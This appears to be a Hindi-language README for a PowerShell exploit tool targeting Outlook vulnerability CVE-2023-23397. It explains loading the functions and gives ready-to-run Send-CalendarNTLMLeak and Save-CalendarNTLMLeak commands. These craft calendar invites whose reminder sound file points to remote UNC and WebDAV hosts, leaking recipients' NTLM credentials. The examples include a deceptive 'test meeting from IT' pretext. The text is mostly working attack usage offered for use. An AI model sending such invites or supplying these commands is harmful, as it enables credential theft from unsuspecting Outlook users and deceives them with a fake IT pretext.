
PowerShell स्क्रिप्ट जो CVE-2023-23397 का शोषण करने के लिए दुर्भावनापूर्ण Outlook कैलेंडर निमंत्रण भेजने या सहेजने के द्वारा काम करती है, जो ReminderSoundFile विकल्प के माध्यम से NTLM क्रेडेंशियल लीकेज को ट्रिगर करती है।
ReminderSoundFile विकल्प का उपयोग करके कैलेंडर NTLM लीकेज को भेजने या सहेजने के लिए स्क्रिप्ट फंक्शन। Powershell में फ़ंक्शन लोड करने के लिए स्क्रिप्ट चलाएँ, फिर आप फ़ंक्शन का उपयोग करने के लिए नीचे दिए गए उदाहरणों को प्रारंभिक बिंदु के रूप में उपयोग कर सकते हैं। इसे Outlook स्थापित Windows मशीन पर चलाना आवश्यक है, क्योंकि यह ईमेल भेजने के लिए Outlook COM ऑब्जेक्ट का उपयोग करता है। ध्यान दें कि यह Outlook से जुड़े ईमेल खाते से ईमेल भेजेगा। वर्तमान फ़ंक्शन मीटिंग प्रारंभ समय को स्क्रिप्ट निष्पादित होने के समय के अनुसार जोड़ देंगे और इसे 2 घंटे तक चलने के लिए सेट करेंगे।
भेजना:
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com@80\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Send-CalendarNTLMLeak -recipient "[email protected]" -remotefilepath "\\files.domain.com@SSL@443\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
सहेजना:
Save-CalendarNTLMLeak -remotefilepath "\\10.10.10.10\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com\notexists\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@80\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
Save-CalendarNTLMLeak -remotefilepath "\\files.domain.com@SSL@443\file.wav" -meetingsubject "Test Meeting" -meetingbody "Just a test meeting from IT, can be deleted"
पृथ्वी को हैक करो!